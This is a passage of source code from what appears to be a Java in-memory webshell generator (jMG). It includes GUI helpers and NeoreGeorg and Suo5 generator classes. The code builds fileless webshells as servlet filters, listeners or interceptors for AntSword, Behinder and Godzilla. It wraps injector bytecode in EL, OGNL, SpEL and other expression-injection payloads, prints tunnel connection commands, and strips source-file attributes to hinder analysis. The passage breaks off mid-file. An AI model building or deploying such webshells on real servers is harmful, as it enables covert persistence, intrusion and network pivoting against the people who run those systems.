/jmg-gui/src/main/java/jmg/gui/util/JExprUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import me.gv7.woodpecker.plugin.exprs.*; 4 | import jmg.core.config.AbstractConfig; 5 | 6 | public class JExprUtil { 7 | public static String[] genExprPayload(AbstractConfig config){ 8 | byte[] bytes = config.getInjectorBytes(); 9 | switch (config.getExprEncoder()){ 10 | case "EL": 11 | return new ELExpr().genMemShell(bytes); 12 | case "FreeMarker": 13 | return new FreeMarkerExpr().genMemShell(bytes); 14 | case "OGNL": 15 | return new OGNLExpr().genMemShell(bytes); 16 | case "SpEL": 17 | return new SpELExpr().genMemShell(bytes); 18 | case "Velocity": 19 | return new VelocityExpr().genMemShell(bytes); 20 | case "ScriptEngineManager(JS)": 21 | return new ScriptEngineManagerExpr().genMemShell(bytes); 22 | } 23 | return null; 24 | } 25 | 26 | public static void printResult(String[] results) throws Exception { 27 | if (results != null && results.length > 0) { 28 | String[] var3 = results; 29 | int var4 = results.length; 30 | 31 | for(int var5 = 0; var5 < var4; ++var5) { 32 | String result = var3[var5]; 33 | TextPaneUtil.successPrintln(result); 34 | } 35 | } else { 36 | TextPaneUtil.warningPrintln("暂不支持\n"); 37 | } 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/MenuUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import com.formdev.flatlaf.FlatDarculaLaf; 4 | import com.formdev.flatlaf.FlatDarkLaf; 5 | import com.formdev.flatlaf.FlatIntelliJLaf; 6 | import com.formdev.flatlaf.FlatLightLaf; 7 | import com.formdev.flatlaf.themes.FlatMacDarkLaf; 8 | import com.formdev.flatlaf.themes.FlatMacLightLaf; 9 | import jmg.core.config.Constants; 10 | 11 | import javax.swing.*; 12 | import javax.swing.plaf.nimbus.NimbusLookAndFeel; 13 | import java.awt.*; 14 | import java.awt.datatransfer.Clipboard; 15 | import java.awt.datatransfer.StringSelection; 16 | import java.awt.event.ActionEvent; 17 | import java.awt.event.ActionListener; 18 | import java.io.BufferedWriter; 19 | import java.io.FileWriter; 20 | import java.io.IOException; 21 | import java.io.PrintWriter; 22 | import java.net.URI; 23 | 24 | public class MenuUtil { 25 | public static JMenuBar createMenuBar(JFrame frame) { 26 | JMenuBar menuBar = new JMenuBar(); 27 | menuBar.add(createSettingMenu(frame)); 28 | menuBar.add(createAboutnMenu(frame)); 29 | return menuBar; 30 | } 31 | 32 | 33 | private static JMenu createSettingMenu(JFrame frame) { 34 | JMenu settingsMenu = new JMenu("设置"); 35 | settingsMenu.add(MenuUtil.createThemeMenu(frame)); 36 | return settingsMenu; 37 | } 38 | 39 | 40 | public static JPopupMenu createPopupMenu(JFrame frame, JTextPane textPane) { 41 | // 创建右键菜单 42 | JPopupMenu popupMenu = new JPopupMenu(); 43 | JMenuItem copySelected = new JMenuItem("复制选中部分"); 44 | JMenuItem copyAll = new JMenuItem("复制全部"); 45 | JMenuItem saveAs = new JMenuItem("保存为"); 46 | 47 | // 添加菜单项的动作监听器 48 | copySelected.addActionListener(new ActionListener() { 49 | @Override 50 | public void actionPerformed(ActionEvent e) { 51 | String selectedText = textPane.getSelectedText(); 52 | if (selectedText != null) { 53 | Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); 54 | clipboard.setContents(new StringSelection(selectedText), null); 55 | } 56 | } 57 | }); 58 | 59 | copyAll.addActionListener(new ActionListener() { 60 | @Override 61 | public void actionPerformed(ActionEvent e) { 62 | String allText = textPane.getText(); 63 | if (allText != null) { 64 | Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); 65 | clipboard.setContents(new StringSelection(allText), null); 66 | } 67 | } 68 | }); 69 | 70 | saveAs.addActionListener(new ActionListener() { 71 | @Override 72 | public void actionPerformed(ActionEvent e) { 73 | JFileChooser fileChooser = new JFileChooser(); 74 | int result = fileChooser.showSaveDialog(frame); 75 | if (result == JFileChooser.APPROVE_OPTION) { 76 | String selectedFilePath = fileChooser.getSelectedFile().getAbsolutePath(); 77 | String textToSave = textPane.getText(); 78 | try (PrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(selectedFilePath)))) { 79 | writer.print(textToSave); 80 | writer.flush(); 81 | JOptionPane.showMessageDialog(frame, "文件保存成功!"); 82 | } catch (IOException ex) { 83 | JOptionPane.showMessageDialog(frame, "保存文件时出错:" + ex.getMessage(), "错误", JOptionPane.ERROR_MESSAGE); 84 | } 85 | } 86 | } 87 | }); 88 | 89 | 90 | popupMenu.add(copySelected); 91 | popupMenu.add(copyAll); 92 | popupMenu.add(saveAs); 93 | return popupMenu; 94 | } 95 | 96 | private static JMenu createThemeMenu(JFrame frame) { 97 | JMenu themeMenu = new JMenu("主题"); 98 | 99 | String[] themeNames = {"FlatLight", "FlatDarcula", "FlatIntelliJ", "FlatMacDark", "FlatDark", "FlatMacLight"}; 100 | 101 | for (String themeName : themeNames) { 102 | JMenuItem themeItem = createThemeMenuItem(frame, themeName); 103 | themeMenu.add(themeItem); 104 | } 105 | return themeMenu; 106 | } 107 | 108 | private static JMenuItem createThemeMenuItem(JFrame frame, String themeName) { 109 | JMenuItem themeItem = new JMenuItem(themeName); 110 | themeItem.addActionListener(new ActionListener() { 111 | @Override 112 | public void actionPerformed(ActionEvent e) { 113 | setLookAndFeel(themeName, frame); 114 | } 115 | }); 116 | return themeItem; 117 | } 118 | 119 | private static void setLookAndFeel(String themeName, JFrame frame) { 120 | try { 121 | switch (themeName) { 122 | case "FlatLight": 123 | UIManager.setLookAndFeel(new FlatLightLaf()); 124 | break; 125 | case "FlatDark": 126 | UIManager.setLookAndFeel(new FlatDarkLaf()); 127 | break; 128 | case "FlatIntelliJ": 129 | UIManager.setLookAndFeel(new FlatIntelliJLaf()); 130 | break; 131 | case "FlatDarcula": 132 | UIManager.setLookAndFeel(new FlatDarculaLaf()); 133 | break; 134 | case "FlatMacLight": 135 | UIManager.setLookAndFeel(new FlatMacLightLaf()); 136 | break; 137 | case "FlatMacDark": 138 | UIManager.setLookAndFeel(new FlatMacDarkLaf()); 139 | break; 140 | default: 141 | UIManager.setLookAndFeel(new NimbusLookAndFeel()); 142 | break; 143 | } 144 | SwingUtilities.updateComponentTreeUI(frame); 145 | } catch (UnsupportedLookAndFeelException ex) { 146 | throw new RuntimeException(ex); 147 | } 148 | } 149 | 150 | 151 | private static JMenu createAboutnMenu(JFrame frame) { 152 | try { 153 | JMenu verMenu = new JMenu("关于"); 154 | JMenuItem authorItem = new JMenuItem("作者"); 155 | JMenuItem versionItem = new JMenuItem("版本"); 156 | versionItem.addActionListener(e -> { 157 | try { 158 | JOptionPane.showMessageDialog(frame, "社区版 " + Constants.JMG_VERSION); 159 | } catch (Exception ex) { 160 | ex.printStackTrace(); 161 | } 162 | }); 163 | 164 | authorItem.addActionListener(e -> { 165 | try { 166 | Desktop desktop = Desktop.getDesktop(); 167 | URI oURL = new URI("https://github.com/pen4uin"); 168 | desktop.browse(oURL); 169 | } catch (Exception ex) { 170 | ex.printStackTrace(); 171 | } 172 | }); 173 | 174 | authorItem.setToolTipText("pen4uin"); 175 | verMenu.add(authorItem); 176 | verMenu.add(versionItem); 177 | return verMenu; 178 | } catch (Exception ex) { 179 | ex.printStackTrace(); 180 | } 181 | return null; 182 | } 183 | } 184 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import jmg.core.config.Constants; 5 | import jmg.core.jMGCodeApi; 6 | import jmg.core.util.CommonUtil; 7 | 8 | public class ResultUtil { 9 | 10 | public static void printAntSwordBasicInfo(AbstractConfig config) { 11 | TextPaneUtil.successPrintln("基础信息:"); 12 | TextPaneUtil.rawPrintln(""); 13 | TextPaneUtil.rawPrintln("密码: " + config.getPass()); 14 | TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); 15 | TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); 16 | TextPaneUtil.rawPrintln("脚本类型: JSP"); 17 | TextPaneUtil.rawPrintln(""); 18 | 19 | } 20 | 21 | public static void printGodzillaBasicInfo(AbstractConfig config) { 22 | switch (config.getShellType()) { 23 | case Constants.SHELL_LISTENER: 24 | case Constants.SHELL_FILTER: 25 | case Constants.SHELL_INTERCEPTOR: 26 | TextPaneUtil.successPrintln("基础信息:"); 27 | TextPaneUtil.rawPrintln(""); 28 | TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64"); 29 | TextPaneUtil.rawPrintln("密码: " + config.getPass()); 30 | TextPaneUtil.rawPrintln("密钥: " + config.getKey()); 31 | TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); 32 | TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); 33 | TextPaneUtil.rawPrintln("脚本类型: JSP"); 34 | TextPaneUtil.rawPrintln(""); 35 | break; 36 | case Constants.SHELL_WF_HANDLERMETHOD: 37 | TextPaneUtil.successPrintln("基础信息:"); 38 | TextPaneUtil.rawPrintln(""); 39 | TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64"); 40 | TextPaneUtil.rawPrintln("密码: " + config.getPass()); 41 | TextPaneUtil.rawPrintln("密钥: " + config.getKey()); 42 | TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); 43 | TextPaneUtil.rawPrintln(""); 44 | break; 45 | } 46 | } 47 | 48 | public static void printBehinderBasicInfo(AbstractConfig config) { 49 | TextPaneUtil.successPrintln("基础信息:"); 50 | TextPaneUtil.rawPrintln(""); 51 | TextPaneUtil.rawPrintln("密码: " + config.getPass()); 52 | TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); 53 | TextPaneUtil.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue()); 54 | TextPaneUtil.rawPrintln("脚本类型: JSP"); 55 | TextPaneUtil.rawPrintln("内存马类名: " + config.getShellClassName()); 56 | TextPaneUtil.rawPrintln("注入器类名: " + config.getInjectorClassName()); 57 | TextPaneUtil.rawPrintln(""); 58 | 59 | } 60 | 61 | public static void printSuo5BasicInfo(AbstractConfig config) { 62 | TextPaneUtil.successPrintln("基础信息:"); 63 | TextPaneUtil.rawPrintln(""); 64 | TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); 65 | TextPaneUtil.rawPrintln("连接指令:"); 66 | if (config.getHeaderName().equalsIgnoreCase("user-agent")) { 67 | TextPaneUtil.rawPrintln(String.format(" ./suo5 -d --ua '%s' -t http://", config.getHeaderValue())); 68 | TextPaneUtil.rawPrintln(String.format(" ./suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua '%s' -t http://", config.getHeaderValue())); 69 | } else { 70 | TextPaneUtil.rawPrintln(String.format(" ./suo5 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); 71 | TextPaneUtil.rawPrintln(String.format(" ./suo5 -l 0.0.0.0:7788 --auth test:test123 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue())); 72 | } 73 | TextPaneUtil.rawPrintln(""); 74 | } 75 | 76 | public static void printNeoreGeorgBasicInfo(AbstractConfig config) { 77 | TextPaneUtil.successPrintln("基础信息:"); 78 | TextPaneUtil.rawPrintln(""); 79 | TextPaneUtil.rawPrintln("密钥: " + config.getKey()); 80 | TextPaneUtil.rawPrintln("请求路径: " + config.getUrlPattern()); 81 | TextPaneUtil.rawPrintln("连接指令:"); 82 | TextPaneUtil.rawPrintln(String.format(" python3 neoreg.py -k %s -H '%s:%s' -u http://", config.getKey(), config.getHeaderName(), config.getHeaderValue())); 83 | TextPaneUtil.rawPrintln(String.format(" python3 neoreg.py --skip --proxy http://127.0.0.1:8080 -vv -k %s -H '%s:%s' -u http:// ", config.getKey(), config.getHeaderName(), config.getHeaderValue())); 84 | TextPaneUtil.rawPrintln(""); 85 | } 86 | 87 | public static void printDebugInfo(AbstractConfig config) { 88 | TextPaneUtil.successPrintln("调试信息:"); 89 | TextPaneUtil.rawPrintln(""); 90 | TextPaneUtil.rawPrintln("内存马类名: " + config.getShellClassName()); 91 | TextPaneUtil.rawPrintln("注入器类名: " + config.getInjectorClassName()); 92 | TextPaneUtil.rawPrintln("内存马字节流长度: " + config.getShellBytesLength()); 93 | TextPaneUtil.rawPrintln("注入器字节流长度: " + config.getInjectorBytesLength()); 94 | TextPaneUtil.rawPrintln(""); 95 | } 96 | 97 | public static void resultOutput(AbstractConfig config) throws Throwable { 98 | switch (config.getToolType()) { 99 | case Constants.TOOL_ANTSWORD: 100 | printAntSwordBasicInfo(config); 101 | break; 102 | case Constants.TOOL_BEHINDER: 103 | printBehinderBasicInfo(config); 104 | break; 105 | case Constants.TOOL_GODZILLA: 106 | printGodzillaBasicInfo(config); 107 | break; 108 | case Constants.TOOL_SUO5: 109 | printSuo5BasicInfo(config); 110 | break; 111 | case Constants.TOOL_NEOREGEORG: 112 | printNeoreGeorgBasicInfo(config); 113 | break; 114 | } 115 | 116 | 117 | if (config.getExprEncoder() != null) { 118 | jMGCodeApi codeApi = new jMGCodeApi(config); 119 | codeApi.generate(); 120 | String[] results = JExprUtil.genExprPayload(config); 121 | JExprUtil.printResult(results); 122 | } else { 123 | switch (config.getOutputFormat()) { 124 | case Constants.FORMAT_CLASS: 125 | case Constants.FORMAT_JSP: 126 | case Constants.FORMAT_JAR: 127 | case Constants.FORMAT_JAR_AGENT: 128 | try { 129 | CommonUtil.transformToFile(config); 130 | TextPaneUtil.successPrintln("结果输出:\n"); 131 | TextPaneUtil.rawPrintln(config.getSavePath() + "\n"); 132 | } catch (Throwable e) { 133 | } 134 | break; 135 | case Constants.FORMAT_BCEL: 136 | case Constants.FORMAT_JS: 137 | case Constants.FORMAT_BASE64: 138 | case Constants.FORMAT_BIGINTEGER: 139 | try { 140 | String result = CommonUtil.transformTotext(config); 141 | TextPaneUtil.successPrintln("结果输出:\n"); 142 | TextPaneUtil.rawPrintln(result + "\n"); 143 | } catch (Throwable e) { 144 | } 145 | break; 146 | } 147 | } 148 | 149 | printDebugInfo(config); 150 | } 151 | 152 | } 153 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/ShellGeneratorUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import jmg.antsword.generator.AntSwordGenerator; 4 | import jmg.behinder.generator.BehinderGenerator; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.custom.generator.CustomGenerator; 9 | import jmg.godzilla.generator.GodzillaGenerator; 10 | import jmg.neoregeorg.generator.NeoreGeorgGenerator; 11 | import jmg.suo5.generator.Suo5Generator; 12 | 13 | public class ShellGeneratorUtil { 14 | IShellGenerator shellGenerator; 15 | 16 | public void makeShell(AbstractConfig config) throws Exception { 17 | switch (config.getToolType()) { 18 | case Constants.TOOL_ANTSWORD: 19 | shellGenerator = new AntSwordGenerator(); 20 | break; 21 | case Constants.TOOL_BEHINDER: 22 | shellGenerator = new BehinderGenerator(); 23 | break; 24 | case Constants.TOOL_GODZILLA: 25 | shellGenerator = new GodzillaGenerator(); 26 | break; 27 | case Constants.TOOL_SUO5: 28 | shellGenerator = new Suo5Generator(); 29 | break; 30 | case Constants.TOOL_NEOREGEORG: 31 | shellGenerator = new NeoreGeorgGenerator(); 32 | break; 33 | case Constants.TOOL_CUSTOM: 34 | shellGenerator = new CustomGenerator(); 35 | break; 36 | default: 37 | throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType()); 38 | } 39 | shellGenerator.makeShell(config); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/TextPaneUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | 4 | import javax.swing.*; 5 | import javax.swing.text.*; 6 | import java.awt.*; 7 | 8 | /** 9 | * 控制文本颜色,提升用户体验 10 | */ 11 | public class TextPaneUtil { 12 | private static JTextPane textPane; 13 | private static final Font font; 14 | private static final SimpleAttributeSet ERROR_ATT; 15 | private static final SimpleAttributeSet WARN_ATT; 16 | private static final SimpleAttributeSet SUCCESS_ATT; 17 | private static final SimpleAttributeSet RAW_ATT; 18 | private static final SimpleAttributeSet START_ATT; 19 | 20 | 21 | static { 22 | font = new Font("Lucida Grande", Font.PLAIN, 13); 23 | ERROR_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255, 0, 0)); 24 | WARN_ATT = ComponentUtil.createSimpleAttributeSet(new Color(255,165,0)); 25 | SUCCESS_ATT = ComponentUtil.createSimpleAttributeSet(new Color(70,135,55)); 26 | RAW_ATT = ComponentUtil.createSimpleAttributeSet(new Color(0, 0, 0)); 27 | START_ATT = ComponentUtil.createSimpleAttributeSet(Color.gray); 28 | } 29 | 30 | 31 | public static void rawPrintln(String str) { 32 | try { 33 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str), RAW_ATT); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | 39 | public static void successPrintln(String str) { 40 | 41 | try { 42 | // 对 jexpr-encoder-utils 输出的处理 43 | if (str.startsWith("[+]")) { 44 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str.replace("==>", "==>\n").replace("<==", "<==\n\n\n\n")), SUCCESS_ATT); 45 | } else { 46 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[+] %s\n", str), SUCCESS_ATT); 47 | 48 | } 49 | } catch (Exception e) { 50 | e.printStackTrace(); 51 | } 52 | } 53 | 54 | public static void warningPrintln(String str) { 55 | try { 56 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[!] %s\n", str), WARN_ATT); 57 | } catch (Exception e) { 58 | e.printStackTrace(); 59 | } 60 | } 61 | 62 | public static void errorPrintln(String str) { 63 | try { 64 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[x] %s\n", str), ERROR_ATT); 65 | } catch (Exception e) { 66 | e.printStackTrace(); 67 | } 68 | } 69 | 70 | public static void startPrintln(String str) { 71 | try { 72 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[>] %s\n", str), START_ATT); 73 | } catch (Exception e) { 74 | e.printStackTrace(); 75 | } 76 | } 77 | 78 | ///////////////////////////////////////////////////////////// 79 | // 以下内部类全都用于实现自动强制折行 80 | // https://github.com/MrYKK/oimchat/blob/598aedd94767667498d66d1ed682f073f3f181b7/oim-fx/src/test/java/swing/JIMSendTextPane.java 81 | ///////////////////////////////////////////////////////////// 82 | public static class WarpEditorKit extends StyledEditorKit { 83 | private static final long serialVersionUID = 1L; 84 | private ViewFactory defaultFactory = new WarpColumnFactory(); 85 | 86 | @Override 87 | public ViewFactory getViewFactory() { 88 | return defaultFactory; 89 | } 90 | } 91 | 92 | private static class WarpColumnFactory implements ViewFactory { 93 | 94 | public View create(Element elem) { 95 | String kind = elem.getName(); 96 | if (kind != null) { 97 | if (kind.equals(AbstractDocument.ContentElementName)) { 98 | return new WarpLabelView(elem); 99 | } else if (kind.equals(AbstractDocument.ParagraphElementName)) { 100 | return new ParagraphView(elem); 101 | } else if (kind.equals(AbstractDocument.SectionElementName)) { 102 | return new BoxView(elem, View.Y_AXIS); 103 | } else if (kind.equals(StyleConstants.ComponentElementName)) { 104 | return new ComponentView(elem); 105 | } else if (kind.equals(StyleConstants.IconElementName)) { 106 | return new IconView(elem); 107 | } 108 | } 109 | 110 | // default to text display 111 | return new LabelView(elem); 112 | } 113 | } 114 | 115 | private static class WarpLabelView extends LabelView { 116 | 117 | public WarpLabelView(Element elem) { 118 | super(elem); 119 | } 120 | 121 | @Override 122 | public float getMinimumSpan(int axis) { 123 | switch (axis) { 124 | case View.X_AXIS: 125 | return 0; 126 | case View.Y_AXIS: 127 | return super.getMinimumSpan(axis); 128 | default: 129 | throw new IllegalArgumentException("Invalid axis: " + axis); 130 | } 131 | } 132 | } 133 | ///////////////////////////////////////////////////////////////////////////////// 134 | 135 | public static JTextPane getTextPane() { 136 | return textPane; 137 | } 138 | 139 | public static void initTextPane(JTextPane textPane) { 140 | TextPaneUtil.textPane = textPane; 141 | TextPaneUtil.textPane.setEditorKit(new WarpEditorKit()); 142 | TextPaneUtil.textPane.setFont(font); 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_en.properties: -------------------------------------------------------------------------------- 1 | format.text=Output Format 2 | generate.text=Generate 3 | headerName.text=Header Key 4 | headerValue.text=Header Value 5 | injectorClsName.text=Injector Class Name 6 | key.text=Key 7 | pass.text=Password 8 | server.text=Server Type 9 | shell.text=Shell Type 10 | shellClsName.text=Shell Class Name 11 | tool.text=Tool Type 12 | uri.text=Request URI 13 | gadget.text=Enable Gadget Wrapping 14 | expr.text=Enable Expr Wrapping -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_en.properties.bak: -------------------------------------------------------------------------------- 1 | format.text=Output Format 2 | generate.text=Generate 3 | headerName.text=Request Header Key 4 | headerValue.text=Request Header Value 5 | injectorClsName.text=Injector Class Name 6 | key.text=Key 7 | pass.text=Password 8 | server.text=Server Type 9 | shell.text=Shell Type 10 | shellClsName.text=Shell Class Name 11 | tool.text=Tool Type 12 | uri.text=Request URI 13 | gadget.text=Enable Gadget Wrapping 14 | expr.text=Enable Expr Wrapping -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_zh.properties: -------------------------------------------------------------------------------- 1 | format.text=\u8F93\u51FA\u683C\u5F0F 2 | generate.text=\u751F\u6210 3 | headerName.text=\u8BF7\u6C42\u5934\u952E 4 | headerValue.text=\u8BF7\u6C42\u5934\u503C 5 | injectorClsName.text=\u6CE8\u5165\u5668\u7C7B\u540D 6 | key.text=\u5BC6\u94A5 7 | pass.text=\u5BC6\u7801 8 | server.text=\u4E2D\u95F4\u4EF6/\u6846\u67B6 9 | shell.text=\u7EC4\u4EF6\u7C7B\u578B 10 | shellClsName.text=\u5185\u5B58\u9A6C\u7C7B\u540D 11 | tool.text=\u5DE5\u5177\u7C7B\u578B 12 | uri.text=\u8BF7\u6C42\u8DEF\u5F84 13 | gadget.text=\u4E13\u9879\u6F0F\u6D1E\u5C01\u88C5 14 | expr.text=\u8868\u8FBE\u5F0F\u8BED\u53E5\u5C01\u88C5 15 | -------------------------------------------------------------------------------- /jmg-gui/src/main/resources/messages_zh.properties.bak: -------------------------------------------------------------------------------- 1 | format.text=输出格式 2 | generate.text=生成 3 | headerName.text=请求头键 4 | headerValue.text=请求头值 5 | injectorClsName.text=注入器类名 6 | key.text=密钥 7 | pass.text=密码 8 | server.text=中间件/框架 9 | shell.text=组件类型 10 | shellClsName.text=内存马类名 11 | tool.text=工具类型 12 | uri.text=请求路径 13 | gadget.text=专项漏洞封装 14 | expr.text=表达式语句封装 15 | -------------------------------------------------------------------------------- /jmg-neoregeorg/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | ${revision} 8 | 9 | jmg-neoregeorg 10 | 11 | 12 | 13 | 14 | jmg 15 | jmg-core 16 | ${revision} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.neoregeorg.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.config.Constants; 8 | import jmg.core.generator.IShellGenerator; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | import jmg.neoregeorg.util.ShellUtil; 13 | 14 | public class NeoreGeorgGenerator implements IShellGenerator { 15 | 16 | @Override 17 | public void initShell(AbstractConfig config) { 18 | config.setKey("key"); 19 | } 20 | 21 | @Override 22 | public byte[] makeShell(AbstractConfig config) throws Exception { 23 | initShell(config); 24 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 25 | String shellClassName = ShellUtil.getShellClassName(shellName); 26 | byte[] bytes = modifyShell(shellClassName, config); 27 | config.setShellBytes(bytes); 28 | config.setShellBytesLength(bytes.length); 29 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 30 | return bytes; 31 | } 32 | 33 | @Override 34 | public byte[] modifyShell(String className, AbstractConfig config) { 35 | byte[] bytes = new byte[0]; 36 | try { 37 | pool.insertClassPath(new ClassClassPath(NeoreGeorgGenerator.class)); 38 | CtClass ctClass = pool.getCtClass(className); 39 | ctClass.getClassFile().setVersionToJava5(); 40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 42 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 46 | } 47 | JavassistUtil.removeSourceFileAttribute(ctClass); 48 | bytes = ctClass.toBytecode(); 49 | ctClass.detach(); 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | } 53 | return bytes; 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.neoregeorg.util; 2 | 3 | import jmg.core.config.Constants; 4 | import jmg.neoregeorg.memshell.NeoreGeorgFilter; 5 | import jmg.neoregeorg.memshell.NeoreGeorgInterceptor; 6 | import jmg.neoregeorg.memshell.NeoreGeorgListener; 7 | 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class ShellUtil { 12 | 13 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 14 | private static final Map> toolMap = new HashMap(); 15 | 16 | public ShellUtil() { 17 | } 18 | 19 | public static String getShellName(String toolType, String shellType) { 20 | Map shellMap = toolMap.get(toolType); 21 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 22 | } 23 | 24 | public static String getShellClassName(String shellName) throws Exception { 25 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 26 | throw new Exception("Invalid shell type '" + shellName + "'"); 27 | } else { 28 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 29 | } 30 | } 31 | 32 | static { 33 | SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName()); 36 | Map regeorgMap = new HashMap(); 37 | regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName()); 38 | regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName()); 39 | regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName()); 40 | toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /jmg-suo5/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | ${revision} 8 | 9 | jmg-suo5 10 | 11 | 12 | 13 | 14 | jmg 15 | jmg-core 16 | ${revision} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-suo5/src/main/java/jmg/suo5/generator/Suo5Generator.java: -------------------------------------------------------------------------------- 1 | package jmg.suo5.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.suo5.util.ShellUtil; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | import me.gv7.woodpecker.tools.common.FileUtil; 13 | 14 | public class Suo5Generator implements IShellGenerator { 15 | 16 | 17 | @Override 18 | public void initShell(AbstractConfig config) { 19 | 20 | } 21 | 22 | @Override 23 | public byte[] makeShell(AbstractConfig config) throws Exception { 24 | initShell(config); 25 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 26 | String shellClassName = ShellUtil.getShellClassName(shellName); 27 | byte[] bytes = modifyShell(shellClassName, config); 28 | config.setShellBytes(bytes); 29 | config.setShellBytesLength(bytes.length); 30 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 31 | return bytes; 32 | } 33 | 34 | @Override 35 | public byte[] modifyShell(String className, AbstractConfig config) { 36 | byte[] bytes = new byte[0]; 37 | try { 38 | pool.insertClassPath(new ClassClassPath(Suo5Generator.class)); 39 | CtClass ctClass = pool.getCtClass(className); 40 | ctClass.getClassFile().setVersionToJava5(); 41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 42 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 43 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 44 | 45 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 46 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 47 | 